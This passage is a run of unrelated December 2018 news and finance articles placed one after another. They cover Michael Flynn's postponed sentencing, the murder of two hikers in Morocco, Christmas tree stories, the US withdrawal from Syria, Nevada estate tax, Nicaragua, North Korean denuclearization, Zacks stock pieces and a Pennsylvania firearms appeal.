exercise of judicial power as some have claimed. To the contrary, Sullivan's actions were a good reminder that it is judges, not prosecutors, who are charged with fashioning just sentences in the federal system. In advance of the hearing, prosecutors for the special counsel and Flynn's attorneys had taken the position that Flynn's substantial assistance in ongoing criminal investigations merited a sentence "at the low end of the guideline range including a sentence that does not impose a term of incarceration." But it was not to be so. During several dramatic exchanges with Flynn, his lawyers and prosecutors, Sullivan made clear that he was disgusted by Flynn's conduct, that he was troubled by Flynn's attorneys' attempts to minimize aspects of Flynns conduct, and that he would likely impose an incarceration sentence if he proceeded to sentencing. Flynn and his attorneys, having taken the hint, asked that sentencing be postponed at least until March so that Flynn can get the benefit of any additional cooperation he provides to the government. Talker: There is hope for Fox News to hold Trump officials accountable, after all For those unfamiliar with federal sentencing, this result might seem odd, but in the federal system, judges are responsible for much more than ratifying a sentence that is mutually agreeable (or deciding on an appropriate sentence when it is in dispute). Judges are charged with imposing a sentence that is "sufficient, but not greater than necessary" to reflect four primary purposes of sentencing: retribution, deterrence, incapacitation and rehabilitation. In this case, Sullivan seemed far from convinced that a sentence of probation and community service was sufficient to punish Flynn for lying to FBI agents about his contacts with the Russian ambassador. Story continues Sullivan also rightly pointed out that Flynn has been implicated in federal crimes beyond the single false statement charge to which he pleaded guilty; two of Flynn's business partners were indicted earlier this week for conspiring to violate federal lobbying rules in conjunction with work they performed for the Turkish government. Whether those concerns are fully offset by the cooperation that Flynn provided to the government in other cases is a judgment call and is the type of judgment call that federal judges take seriously. Yes, Sullivan might have gone too far by suggesting that Flynn's actions were tantamount to treason, but it would certainly not have been an overstatement to say they reflected divided loyalties. Flynn's conduct was incredibly serious and presented a national security risk. As the national security adviser and the former head of the Defense Intelligence Agency, his lies were no small mistake and he, more than most, should have known it. Conor Shaw is a legal counsel (@ConorMarcusShaw) and Jennifer Ahearn is a policy director for Citizens for Ethics in Washington (CREW). What our readers are saying President Donald Trump hired "the best" even after Barack Obama warned him not to hire Michael Flynn. John Karabatos Are we seeking justice or a conviction? A plea deal can be interpreted as coerced testimony. It's not justice. Special counsel Robert Mueller's investigation is politically motivated. They have not touched Trump after almost two years of investigation. He paid off porn star Stormy Daniels? We have spent almost $20 million to find out what we already knew. Steven Arnold As it has been said many times, it all starts at the top. U.S. District Judge Emmet Sullivan ponders why the prosecution didn't charge Flynn with treason, given what he has admitted to doing. But Flynn didn't do anything without a nod from Trump, conceivably. Sullivan said Flynn sold out his country. If that is true, then what do we say about the guy Flynn was working for? John David King I'm glad Sullivan was disgusted. He was absolutely correct; Flynn did essentially sell out on our country. Kajsa Williams What others are saying The Wall Street Journal, editorial: "(Michael) Flynn had no incentive to lie to the FBI agents who interviewed him in January 2017 about his contact with the Russian ambassador to the U.S. Those talks were legal and normal for a new national security adviser. Government documents related to the Flynn sentencing suggest that the FBI lured the former general into a meeting without a lawyer, never making clear that Mr. Flynn was himself under criminal investigation. ... FBI agents, prosecutors and judges wield awesome power that can destroy families and careers. They have to be held to account as much as unpopular presidents." Jennifer Rubin, The Washington Post: "Flynn is no babe in the woods here. Somehow he decided he could secretly represent a foreign government while advising a presidential nominee and getting classified briefings and even after he was named national security adviser. Along with all of this, he decided to lie about when confronted with evidence. ... One can logically infer that he knew a lot about Donald Trumps conduct during and after the presidential campaign enough to compel Trump to ask then-FBI Director James B. Comey to go easy on him." Michael J. Stern, USA TODAY: "The judge delayed the sentencing with the understanding that Flynn may help his circumstance by continuing to cooperate. But if Mueller wanted to ensure Flynns continued cooperation, he would not have agreed to set a sentencing date in the first place. The carrot is rarely handed over before the work is done." To join the conversations about topics on USA TODAY or provide feedback to this newsletter, email jrivera@usatoday.com, comment on Facebook, or use #tellusatoday on Twitter. This article originally appeared on USA TODAY: Michael Flynn should thank Judge Sullivan for postponing his sentencing: Today's talker Rabat (AFP) - Moroccan authorities have arrested three fugitive suspects in the grisly murder of two Scandinavian hikers after an intensive manhunt, a source close to the investigation said on Thursday. The arrests in the city of Marrakesh follow a first arrest on Monday, hours after the discovery of the two women's bodies in the High Atlas mountains. The man already in custody is suspected of belonging to an Islamic extremist group. Danish citizen Louisa Vesterager Jespersen, 24, and 28-year-old Maren Ueland from Norway were on a month-long holiday, Ueland's mother told Norwegian broadcaster NRK. Their bodies were found on Monday, after they had pitched their tent at an isolated mountain site two hours walk from the tourist village of Imlil. Investigators had on Wednesday night released profiles of the three fugitives. All three come from Marrakesh, and one of them had "a court record linked to terrorist acts", police spokesman Boubker Sabik said. In one of the black and white photos circulated by the authorities, one of the suspects wears long white clothing and a white skullcap, and has a long beard. A second suspect also has a long beard, while the third has a thin face and a goatee beard. "The arrests highlight the efficacity of the security forces", a source close to the investigation told AFP. The two women were attacked with a knife, according to authorities. One was then beheaded, a source close to the investigation has said. Authorities are still determining the authenticity of a grisly video posted on social media allegedly showing the murder of one of the women, the investigation source said. Rabat (AFP) - Moroccan authorities said Thursday four suspects arrested following the murder of two young Scandinavian hikers in southern Morocco had pledged allegiance to the Islamic State (IS) Three of the four suspects were arrested on Thursday over the grisly killing of the two hikers, as investigators probed a link to Islamic extremism. "The video showing the arrested individuals... pledging allegiance to Daesh was recorded last week before the execution of the criminal acts we are investigating," the Rabat prosecutor said in a statement using the using alternative name for IS and confirming the authenticity of the video. Government spokesman Mustapha Khalfi described the killings as a "criminal and terrorist act", while Prime Minister Saad Eddine El Othmani called them a "stab in the back of Morocco and Moroccans". That was in reference to the likely negative impact the murders will have on the North African country's vital tourism sector -- which accounts for 10 percent of national income. The arrests in the city of Marrakesh follow a first arrest on Monday of a man suspected of belonging to an Islamic extremist group, hours after the discovery of the two women's bodies in the High Atlas mountains of southern Morocco. "The suspects have been arrested" and investigators were in the process of "verifying the terrorist motive, which is supported by the evidence and the findings of inquiries," said the central judicial investigations office. The bodies of Danish student Louisa Vesterager Jespersen, 24, and 28-year-old Maren Ueland from Norway were found on Monday, after the two friends had pitched their tent at an isolated mountain site two hours' walk from the tourist village of Imlil. Police have focused on the terrorism line of inquiry since arresting the first suspect in a poor neighbourhood of the region's main city of Marrakesh, which is a magnet for foreign tourists. Story continues "The radical Islamist line has not been removed, because of the profile of the (first) suspect arrested and the three" others, who have links to radical Islamic circles, a source close to the investigation told AFP on Wednesday. Investigators released pictures of three of those arrested, who were identified as Rachid Afatti, Ouaziad Younes and Ejjoud Abdessamad. - IS link suspected - In one of the black and white photos circulated by the authorities, a suspect wears white robes and a white skullcap, and has a long beard. The second suspect also has a long beard, while the third has a thin face and a goatee. But in another picture released by police after they were detained, the three are freshly shaven and wearing plain clothes. All three hail from Marrakesh, and one of them had "a court record linked to terrorist acts", police spokesman Boubker Sabik said. Danish Prime Minister Lars Lokke Rasmussen denounced what he called a "beastly crime". Addressing reporters, Rasmussen said "like the whole world, we react with consternation, disgust and a profound sadness." Norway's Prime Minister Erna Solberg condemned what she called a "brutal and meaningless attack on innocents". In Rabat, the government spokesman highlighted the efforts of the security services in the fight against terrorism by hailing the arrest in "record time" of the alleged suspects in the double murder. - Blow for tourism - Moroccan authorities were still working to determine the authenticity of a video posted on social media networks allegedly showing the murder of one of the tourists, a prosecutor said in a statement. The killings have sparked fears of a hit to Morocco's crucial tourist sector as the kingdom's relative security has always been a major selling point. "What most of us had feared -- that is to say a terrorist angle to the double crime in the region of Imlil, has been confirmed," said leading news website Medias 24. "Shock, sadness and revulsion are perceptible in Morocco," it added. Traumatised by the murders, residents of Imlil are deeply fearful for their livelihoods, and have helped investigators in identifying suspects, a tourism sector source told AFP. Morocco has been spared jihadist attacks since 2011, when a bomb attack on a cafe in Marrakesh's famed Jamaa El Fna Square killed 17 people, most of them European tourists. An attack in the North African state's financial capital Casablanca killed 33 people in 2003. Relatives protest for release of two suspects Relatives and supporters of two men detained by police in the Nirmala Pant case on Wednesday demonstrated in front of the District Administration Office demanding their immediate release. There is perhaps no holiday symbol more recognizable than the Christmas tree. Even for those who don't celebrate the holiday, the sweet smell of sapling and crisp pine needles can bring joy and comfort this time of year. While tradition dictates that trees be strung with twinkle lights and adorned with ornaments, this holiday season, designers and florists alike are outfitting their trees in a variety of creative ways. Whether switching up the color or swapping out an evergreen altogether for something a bit more glam, these trees are just as chic as they are cheerful. The Upper House, Hong Kong, designed by Michael Young This year, The Upper House collaborates with Hong Kongbased industrial design artist Michael Young, who uses a traditional Chinese decorative technique called cloisonne to apply detailing to the steel. Hotel Costes, Paris, designed by Masomenos The funky Spanish children's brand has been crafting Christmas trees for the French hotel since 2010, outfitting them with playful shapes attached by Velcro so they can be repositioned whenever the inspiration hits. Public Hotel, New York, designed by Ian Schrager With over 100 glowing LED orbs, programmed in different colors and patterns, Public is setting New York's Lower East Side aglow this holiday season. Image courtesy of PUBLIC. New York Edition, designed by Hank Willis Thomass collective For Freedoms Lauren Chanel Patrick of Willis Thomas's collective, For Freedoms, has created a tree whose blue-and-white crystal ornaments evoke water droplets that appear to cascade down the tree. Photo by Cesar Soto. Galeries Lafayette, Paris This year's tree at the famed Parisian department store consists of a wire frame affixed with gift boxes and ornaments, and is surrounded by strands of twinkle lights. Photo by Thibaut Voisin. Claridges, London, designed by Diane von Furstenberg Following in the footsteps of Karl Lagerfeld, John Galliano, and Dolce & Gabbana's displays from years past, DvF has created a celestial trees that represents knowledge, peace, strength, and beauty, complete with over 8,000 silver leaves. Story continues Photo by Jamie McGregor Smith. Four Seasons George V, Paris, designed by Jeff Leatham Master floral designer and Four Seasons's creative director Jeff Leatham has crafted a sculptural white tree that splits lengthwise to reveal a golden glowing interior. Photo by Guillermo Aniel-Quiroga. Moda Operandi, New York Moda Operandi has turned its Madison boutique into a luxe winter wonderland complete with a pink tree and festive ornaments. Image courtesy of Moda Operandi. The Connaught, London, designed by Sir Michael Craig-Martin The British artist lends his signature colorful palette to the tree, which is comprised of over 12,000 light bulbs that glow, fade, sparkle, and change color throughout the evening. Photo by Jamie McGregor Smith. Le Royal Monceau, Paris, designed by Baptiste Pitou Parisian floral artist Baptiste Pitou revives last year's upside-down trend, adorning the eye-catching tree with festive decor from top to bottom. Photo by Romeo Balancourt. More from AD PRO: Has Instagram Made Design Shows Better? Sign up for the AD PRO newsletter for all the design news you need to know Nancy Pelosi has raised fears that Donald Trumps decision to pull US troops out of Syria was linked to the prosecution of Michael Flynn, his former national security adviser, over his work as a foreign agent. Mr Flynn, who admitted failing to register his work as a lobbyist for Turkey, was due to be sentenced on Wednesday but the proceedings have been postponed while the 60-year-old completes a process of cooperation with Robert Muellers Russia probe. All Americans should be concerned that this hasty announcement was made on the day after sentencing in criminal proceedings began against ... Flynn, who admitted that he was a registered foreign agent for a country with clear interests in the Syrian conflict, said Ms Pelosi, the House Democratic leader. Federal prosecutors have also charged two of Mr Flynns associates with illegally lobbying for Turkey in Ankaras campaign to have dissident cleric Fethullah Gulen extradited from the US. The US and Turkey have clashed over Washingtons support for Kurdish militia forces in Syria that have been battling Isis. Read more Americas Kurdish allies say US withdrawal hurts fight against Isis Specifically, the Turkish government has complained about their Nato allys backing of the YPG, a Kurdish group forming part of the Syrian Democratic Forces, which it considers a terrorist organisation. The US had some 2,000 soldiers stationed in the part of northern Syria controlled by the Kurds. But the State Department denied on Wednesday that Mr Trump had discussed his decision to remove those forces with Turkeys president, Recep Tayyip Erdogan, in advance. The president made his own decision, said an official. On Twitter, Mr Trump said the US had won historic victories against Isis, adding in a further tweet: Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA. Story continues Michael Flynn leaves court after sentencing is postponed allowing him to finish cooperation with Mueller probe Ms Pelosi, who is seen as likely to be elected speaker in Congress when Democrats take control in January, added in her statement: We must also ask why the president did not make this decision in the context of advancing peace negotiations. Syrian families caught in the middle of this conflict continue to endure heartbreaking horrors every day. When we take the gavel, our Democratic majority will uphold the Congress constitutional oversight responsibilities to ensure that the presidents decisions advance our national security interests, not his personal or political objectives. Mr Trumps decision met with approval from Russian president Vladimir Putin, who said on Thursday his counterpart was right to pull out the troops, but the US Kurdish allies suggested the move would destabilise the region at a critical stage in the fight against Isis. Mr Putin is the leading international backer of Syrian president Bashar al Assad. The UK had been discussing the withdrawal plan with Washington for several days, Theresa Mays spokesman said on Thursday. Defence minister Tobias Ellwood said he disagreed with Mr Trumps assessment that Isis had been defeated, saying the threat was still very much alive. With 33 million Christmas trees sold every year, there are bound to be bugs on some of them. According to Safer Brand, up to 25,000 bugs could be on your Christmas tree. When you bring home a living tree, there are most likely thousands of little insects that are hibernating inside the tree. When those hibernating insects enter your warm home, they will wake up thinking it's spring. U.S. Democratic Sen. Chuck Schumer has issued a warning for those in New York state after an invasive bug, known as the Spotted Lanternfly, was found in New York City Christmas trees. "This little critter looks nice, but he's no love bug," Schumer said during a news conference. "If we do nothing about them, trees in Central Park, on the streets of New York City, and our beautiful leafy suburbs could very well be at risk." Schumer asked the U.S. Department of Agriculture to commit resources to prevent bugs from spreading. Applying artificial snow on christmas tree outside Mother spraying a Christmas tree outdoors. (FluxFactory/Getty Images/iStockphoto) Manager of Technical Services at Terminix, Dr. Angela Tucker, said in the summer you can find a variety of insects on a natural Christmas tree including caterpillars, wood-boring beetles, stink bugs, box-elder bugs, scale insects and others. "At Christmas time, most of these insects have completed their development and/or have moved to a different location for the winter. Although if you live in a warm state, then you can still have all these insects except caterpillars on your tree," Tucker said. Aphids sometimes hatch from Christmas trees. Most are small enough to go unnoticed, but the larger ones could be mistaken for spiders. Bark beetles may wake up with the warmth in your home and go to work boring into the trunk of the tree. Thankfully, the wood in your furniture or structure of the house is too dry for them. If you see any light tan, walnut-sized, frothy egg masses, it is most likely praying mantis eggs, as they could begin to hatch after being indoors for a few weeks. Once hatched, the tiny mantises could swarm over the tree looking for food. Story continues Mites also may wake up from the warmth and feed on other insects and eggs. Spiders found on Christmas trees aren't a danger to people or pets, just to other insects. Spiders that come in on trees aren't indoor species and won't live for very long in your home. The types of bugs inhabiting your Christmas tree are mostly harmless and won't destroy your home. Sometimes even bigger animals are found hiding in Christmas trees. Sooo turns out it was not a BIG insect talking from inside my Christmas tree! @SherryKondor @JesseMcCartney @KatieLPeterson. He currently lives in my backyard feasting on all the bugs out there. I kinda miss the #treetalker now. #petfrog #NotAnInsect #ChristmasTreeFrog #Croak pic.twitter.com/jLnhKU5MLh Ginger McCartney (@GingerMacMgmt) December 17, 2017 To get rid of the insects, pre-treat your tree before bringing it into your home. Diatomaceous Earth is an insecticidal powder that doesn't use any synthetic chemicals and leaves no scent or odors. To apply, dust your tree while it's still outside and shake off excess before bringing it inside. Neem Oil Spray is another hack to getting the bugs off a Christmas tree. Use it before trimming your tree or as soon as you spot any pests and apply the spray to target insects at every growth stage. According to Tucker, since most people have a natural tree for a very short period of time, it is unlikely that infestation from wood-boring beetles in a natural tree will spread inside your home. "Most wood-boring beetle species young take years to develop into adults and spend most of their life inside the wood. At this time of the year, the young would be feeding inside the tree," Tucker said. "In general, wood-boring beetles can become a concern when furniture is infested. The adults will emerge, look for a mate, and for some species, the next generation will re-infest the wood to develop," Tucker said. Synthetic, "fake" trees may have insects or spiders on them when they are stored in an area that you do not use often such as an attic or basement. "Monthly inspections of stored items can help reduce the number of insects inside the storage containers," Tucker said. Nevada Estate Tax Nevada does not have an estate tax. There is a federal estate tax, though, that may apply if your estate is large enough. This guide will walk Silver State residents through the estate tax information they need to know to make sure their estate planning process goes smoothly and their family is adequately prepared for what happens once theyve died. If youre starting to think about estate planning, it may make sense to find a financial advisor to guide you through the trickier parts of the process. SmartAsset can help you find one with our free financial advisor matching service. Nevada Estate Tax Nevada is one of 38 states that does not levy an estate tax. What Is the Estate Tax? Governments levy the estate tax on the estate of a person who recently died. The tax applies before the assets in the estate are passed on to a persons heirs. It is sometimes called the death tax. Estate tax only applies to estates that are worth more than a threshold thats legally determined by the government levying the tax. Make sure not to confuse the estate tax with the inheritance tax, which is different. Inheritance tax applies to money already passed on to a persons heirs. Nevada Inheritance and Gift Tax Nevada Estate Tax Nevada does not levy an inheritance tax. However, you should know that the inheritance tax of another state may apply to you if someone living in that state leaves you something in their will. Kentucky, for instance, has an inheritance tax that applies to all property located in-state, even if the person inheriting the property is located out-of-state. If someone in another state leaves you an inheritance, check local laws to see if youll owe taxes so you dont end up missing a tax payment. Nevada also has no gift tax. There is a federal gift tax with an exemption of $15,000 per year for each gift recipient. If you gift one person more than $15,000 in a year, you must report that gift to the IRS. The excess counts against your $11.18 million lifetime gift tax exemption. It also decreases your federal estate tax exemption. Story continues Federal Estate Tax Nevada does not have an estate tax, but the federal government has an estate tax that may apply if your estate has sufficient value. The federal estate tax exemption is $11.18 million for 2018. It will increase to $11.40 million in 2019. The exemption is portable, meaning that one spouse can pass his or her exemption to the other so that both spouses exemptions apply when the second spouse dies. With the right legal maneuvers, a married couple can protect up to $22.36 million. The estate tax is progressive for estates that are worth more than the federal exemption. The top tax rate is 40%. Heres an example, using the table of rates below. Take an estate worth $17 million. Subtract the $11.18 million exemption and you have a taxable estate of $5.82 million. This puts you in the top tax bracket and means youll have a base payment of $345,800 on the first $1 million. Youll also owe 40% of the remaining $4.82 million, which comes to $1.928 million. Add that to the base payment, and you are left with a total federal estate tax burden of $2,273,800. FEDERAL ESTATE TAX RATES Taxable Estate* Base Taxes Paid Marginal Rate Rate Threshold** $1 $10,000 $0 18% $1 $10,000 $20,000 $1,800 20% $10,000 $20,000 $40,000 $3,800 22% $20,000 $40,000 $60,000 $8,200 24% $40,000 $60,000 $80,000 $13,000 26% $60,000 $80,000 $100,000 $18,200 28% $80,000 $100,000 $150,000 $23,800 30% $100,000 $150,000 $250,000 $38,800 32% $150,000 $250,000 $500,000 $70,800 34% $250,000 $500,000 $750,000 $155,800 37% $500,000 $750,000 $1 million $248,300 39% $750,000 Over $1 million $345,800 40% $1 million *The taxable estate is the total above the federal exemption of $11.18 million. **The rate threshold is the point at which the marginal estate tax rate kicks in. Overall Nevada Tax Picture Nevada Estate Tax Nevada is very tax-friendly for retirees. The state does not tax Social Security benefits. It also doesnt tax withdrawals from retirement accounts, like 401(k) plans, or income from pensions, whether private or public. In fact, Nevada does not tax any income. Thus, you wont pay state income taxes on retirement income or any money you continue to earn from post-retirement gigs if you spend your golden years there. Nevada also has very low property tax. The average effective rate is just 0.77%. There is no senior homestead exemption, but there are some programs that retirees may be able to take advantage of. This includes a program for veterans, a program for blind people and another for surviving spouses. Sales tax in Nevada is relatively high. The statewide rate is 6.85%. The average total rate statewide is 7.98%, taking into consideration local rates. Estate Planning Tips Estate planning takes time and energy. You may need a professional to get you on track. SmartAsset can help you find that professional with our free financial advisor matching service. You just answer a short questionnaire about your finances. Then, we match you with up to three advisors in your area. We fully vet all of our advisors and they are free of disclosures. You can then talk with each of your advisor matches to see if one of them is a good fit for you. One common estate planning mistake is forgetting about certain assets. There is more than your bank account to worry about. You should also include real estate, cars and jewelry. Photo credit: iStock.com/miroslav_1, iStock.com/kupicoo The post Nevada Estate Tax appeared first on SmartAsset Blog. Related Articles: Managua (AFP) - The government of Nicaraguan President Daniel Ortega expelled two expert missions from the Inter-American Commission on Human Rights Wednesday, accusing them of meddling and bias in evaluating the crisis-hit country. A letter to Organization of American States (OAS) Secretary General Luis Almagro said the suspension of the Special Follow-up Mechanism for Nicaragua (MESENI) and the Interdisciplinary Group of Independent Experts (GIEI) would remain "until conditions of respect for sovereignty and internal affairs are re-established." Read to mission members by foreign minister Denis Moncada, it accused the two entities of demonstrating "an interfering, interventionist attitude, echoing United States government policies against Nicaragua." The missions said they would leave the country on Thursday. The order came a day before GIEI -- created to collaborate with authorities to assess Nicaragua's human rights situation -- was due to present findings on human rights during the first weeks of anti-government protests, which erupted in April. But the government accused it of acting outside agreed parameters by directly interviewing victims. GIEI coordinator Amerigo Incalcaterra denied the allegations, but said the mission had been advised not to present its report. MESENI representative Ana Maria Tello meanwhile told a press conference it would continue to monitor the situation in Nicaragua from Washington. Ortega's government also accused the Organization of American States of promoting an "irresponsible" and "slanderous" campaign against Cuba, Venezuela and Nicaragua. In a statement, the General Secretariat of the OAS said the expulsion decision "further places Nicaragua into the terrain of authoritarianism." It comes as the Ortega government revoked local human rights groups' permits, raiding their headquarters along with those of independent media. In September, the government also expelled a UN human rights mission, branding a report it produced as biased. Rights groups say at least 320 people have been killed in Nicaragua in a brutal government crackdown launched in response to the escalation in April of street protests, initially against a now-ditched pension reform. By Jeongmin Kim and Josh Smith SEOUL (Reuters) - Any deal for North Korea to give up its nuclear arsenal must include "completely removing the nuclear threats of the U.S.", North Korean state media said on Thursday, in one of the clearest explanations of how North Korea sees denuclearization. U.S. President Donald Trump and North Korean leader Kim Jong Un issued a statement after a historic meeting in Singapore in June reaffirming the Norths commitment to "work toward complete denuclearization of the Korean Peninsula" and including U.S. guarantees of security to North Korea. Conflicting or vague views of what exactly "denuclearization" means, however, have complicated negotiations that now appear stalled. "When we refer to the Korean peninsula, they include both the area of the DPRK and the area of south Korea where aggression troops including the nuclear weapons of the U.S. are deployed," the North's state-run KCNA news agency said in a commentary, using the initials of North Korea's official name, the Democratic People's Republic of Korea. "When we refer to the denuclearization of the Korean peninsula, it, therefore, means removing all elements of nuclear threats from the areas of both the north and the south of Korea and also from surrounding areas from where the Korean peninsula is targeted." The United States deployed nuclear weapons in South Korea from 1958 to 1991. Since they were withdrawn, the United States has extended its "nuclear umbrella" of support to Japan and South Korea using bombers and submarines based elsewhere. North Korea rejects American calls for it to unilaterally denuclearize, and Washington should "give up its ambition" to force Pyongyang to abandon its nuclear weapons by "high-handed practices and pressure", the news agency said. The United States needs to understand the phrase denuclearization of the Korean peninsula "before it is too late", it said. A spokesman for South Korean President Moon Jae-in - who has said Kim intends to achieve "complete denuclearization" - declined to comment on the North Korean call to lift the U.S. nuclear protection from South Korea, saying there was "no need to respond to every KCNA comment". 'SELF-EVIDENT TRUTH' The United States has said that it will not lift sanctions on North Korea until more progress has been made toward its verifiable denuclearization. The United States has also rejected any suggestion that it would reduce its military presence in the region as part of a deal with North Korea. But in a surprise step after the June summit, Trump announced that the Pentagon would cancel most of its largest military exercises conducted with the South Koreans. The exact definition of denuclearization is likely to be raised again as Trump has said he is working to meet again with Kim sometime early next year. "It is a self-evident truth that the denuclearization of the Korean peninsula is a joint work which can never come true unless the DPRK and the U.S. make joint efforts," KCNA said in the commentary, arguing that U.S. threats had forced North Korea to develop a nuclear deterrent. "It would be proper to say that the denuclearization of the Korean peninsula means 'completely removing the nuclear threats of the U.S. to the DPRK', before it means the elimination of its nuclear deterrence." At a press briefing in Washington on Tuesday, U.S. State Department spokesman Robert Palladino said he would not "split words" when asked about whether the promise of "denuclearization of the Korean peninsula" means only North Korea or the broader region. "We are focused on the denuclearization of North Korea," Palladino said. "We remain confident and we look forward to the commitments that Chairman Kim and that President Trump have made." (Reporting by Josh Smith; Editing by Michael Perry, Robert Birsel) Rs38.80m irrigation project promises increased harvests Naren Shrestha, 48, is excited that he will be receiving an uninterrupted supply of water at his farm in Godak, a small village in the eastern hill district of Ilam. Investors in Petroleo Brasileiro S.A. - Petrobras PBR need to pay close attention to the stock based on moves in the options market lately. That is because the Dec 21, 2018 $9.00 Put had some of the highest implied volatility of all equity options today. What is Implied Volatility? Implied volatility shows how much movement the market is expecting in the future. Options with high levels of implied volatility suggest that investors in the underlying stocks are expecting a big move in one direction or the other. It could also mean there is an event coming up soon that may cause a big rally or a huge sell off. However, implied volatility is only one piece of the puzzle when putting together an options trading strategy. What do the Analysts Think? Clearly, options traders are pricing in a big move for Petrobras shares, but what is the fundamental picture for the company? Currently, Petrobras is a Zacks Rank #3 (Hold) in the Oil and Gas - Integrated - Emerging Markets that ranks in the Bottom 5% of our Zacks Industry Rank. Over the last 30 days, no analysts have increased their earnings estimates for the current quarter, while two have dropped their estimates. The net effect has taken our Zacks Consensus Estimate for the current quarter from 59 cents per share to 44 cents in that period. Given the way analysts feel about Petrobras right now, this huge implied volatility could mean theres a trade developing. Often times, options traders look for options with high levels of implied volatility to sell premium. This is a strategy many seasoned traders use because it captures decay. At expiration, the hope for these traders is that the underlying stock does not move as much as originally expected. Looking to Trade Options? Each week, our very own Dave Bartosiak gives his top options trades. Check out his recent live analysis and options trade for NFLX earnings report completely free. See it here: Bartosiak: Trading Netflix's (NFLX) Earnings with Options or check out the embedded video below for more details: Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Petroleo Brasileiro S.A.- Petrobras (PBR) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Investors in AVEO Pharmaceuticals, Inc. AVEO need to pay close attention to the stock based on moves in the options market lately. That is because the Dec 21, 2018 $2.00 Put had some of the highest implied volatility of all equity options today. What is Implied Volatility? Implied volatility shows how much movement the market is expecting in the future. Options with high levels of implied volatility suggest that investors in the underlying stocks are expecting a big move in one direction or the other. It could also mean there is an event coming up soon that may cause a big rally or a huge sell-off. However, implied volatility is only one piece of the puzzle when putting together an options trading strategy. What do the Analysts Think? Clearly, options traders are pricing in a big move for AVEO Pharmaceuticals shares, but what is the fundamental picture for the company? Currently, AVEO Pharmaceuticals is a Zacks Rank #2 (Buy) in the Medical - Biomedical and Genetics industry that ranks in the Top 27% of our Zacks Industry Rank. Over the last 60 days, one analyst has increased the earnings estimates for the current quarter, while none have revised the estimates downward. The net effect has taken our Zacks Consensus Estimate for the current quarter from a loss of 6 cents per share to a loss of 5 cents in that period. Given the way analysts feel about AVEO Pharmaceuticals right now, this huge implied volatility could mean theres a trade developing. Oftentimes, options traders look for options with high levels of implied volatility to sell premium. This is a strategy many seasoned traders use because it captures decay. At expiration, the hope for these traders is that the underlying stock does not move as much as originally expected. Looking to Trade Options? Each week, our very own Dave Bartosiak gives his top options trades. Check out his recent live analysis and options trade for the NFLX earnings report completely free. See it here: Bartosiak: Trading Netflix's (NFLX) Earnings with Options or check out the embedded video below for more details: Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report AVEO Pharmaceuticals, Inc. (AVEO) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Photo credit: Bigstock The Pennsylvania Supreme Court has agreed to hear arguments over which factors are required to disqualify someone from possessing a firearm. In Navarro v. Pennsylvania State Police, the justices granted allocatur Dec. 18 to review a Commonwealth Court ruling that an administrative law judge of the state Attorney General's Office improperly denied plaintiff Richard Navarro's application for return of a firearm without showing that the weapon was involved in interstate or foreign commerce. In November 2013, Navarro pleaded guilty to two first-degree misdemeanor counts of forgery and was sentenced to 24 months of probation, according to the lower court's May opinion. In October 2016, Navarro submitted an application for return of a firearm and was denied after a Pennsylvania Instant Check System report, which listed him as disqualified based on his 2013 convictions. When Navarro challenged the decision, he was informed in a letter from the Pennsylvania State Police that his application had been denied pursuant to Section 922(g) of the federal Gun Control Act (GCA). Navarro appealed and, in 2017, an ALJ, agreeing with the PSP's decision, denied his application. Judge Christine Fizzano Cannon, writing for a unanimous three-judge Commonwealth Court panel in May, said the Pennsylvania Uniform Firearms Act (PUFA) requires the PSP to determine whether a potential purchaser or transferee of a firearm has a criminal history that disqualifies them under state or federal law. Triggering of Section 922(g) of the GCA, meanwhile, requires proof of two things: (1) a disqualifying conviction, and (2) that the firearm at issue was involved in interstate or foreign commerce. "Therefore, per the language of the statute, without proof that the firearm sought to be purchased, possessed, or received moved in interstate commerce, GCA Section 922(g) would not apply regardless of whether or not the individual in question had a disqualifying criminal offense," Cannon said. "Such proof need not be extensive, but it must be present in some form to trigger the application of Section 922(g)." Cannon, joined by Judge Robert Simpson and Senior Judge Bonnie Brigance Leadbetter, said the ALJ improperly denied Navarro's application without making any findings that the weapon was involved in interstate or foreign commerce. The court vacated the ALJ's decision and remanded for further proceedings. On appeal to the Supreme Court, the state is asking the justices whether the Commonwealth Court was wrong to upend the ALJ's decision since PUFA itself does not require a showing that the firearm in question was involved in interstate or foreign commerce. A spokesman for the State Police said the office does not comment on pending litigation. Navarro, who is pro se, said he thought it was a good thing that the Supreme Court had agreed to hear the case. "I hope my argument was convincing," he said. Investors looking for stocks in the Banks - Midwest sector might want to consider either Peoples Bancorp (PEBO) or Commerce Bancshares (CBSH). But which of these two stocks offers value investors a better bang for their buck right now? We'll need to take a closer look. Everyone has their own methods for finding great value opportunities, but our model includes pairing an impressive grade in the Value category of our Style Scores system with a strong Zacks Rank. The proven Zacks Rank emphasizes companies with positive estimate revision trends, and our Style Scores highlight stocks with specific traits. Currently, Peoples Bancorp has a Zacks Rank of #2 (Buy), while Commerce Bancshares has a Zacks Rank of #3 (Hold). Investors should feel comfortable knowing that PEBO likely has seen a stronger improvement to its earnings outlook than CBSH has recently. But this is only part of the picture for value investors. Value investors also tend to look at a number of traditional, tried-and-true figures to help them find stocks that they believe are undervalued at their current share price levels. Our Value category highlights undervalued companies by looking at a variety of key metrics, including the popular P/E ratio, as well as the P/S ratio, earnings yield, cash flow per share, and a variety of other fundamentals that have been used by value investors for years. PEBO currently has a forward P/E ratio of 12.59, while CBSH has a forward P/E of 14.78. We also note that PEBO has a PEG ratio of 1.57. This metric is used similarly to the famous P/E ratio, but the PEG ratio also takes into account the stock's expected earnings growth rate. CBSH currently has a PEG ratio of 1.73. Another notable valuation metric for PEBO is its P/B ratio of 1.16. The P/B ratio pits a stock's market value against its book value, which is defined as total assets minus total liabilities. For comparison, CBSH has a P/B of 2.34. These are just a few of the metrics contributing to PEBO's Value grade of B and CBSH's Value grade of C. PEBO stands above CBSH thanks to its solid earnings outlook, and based on these valuation figures, we also feel that PEBO is the superior value option right now. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Peoples Bancorp Inc. (PEBO) : Free Stock Analysis Report Commerce Bancshares, Inc. (CBSH) : Free 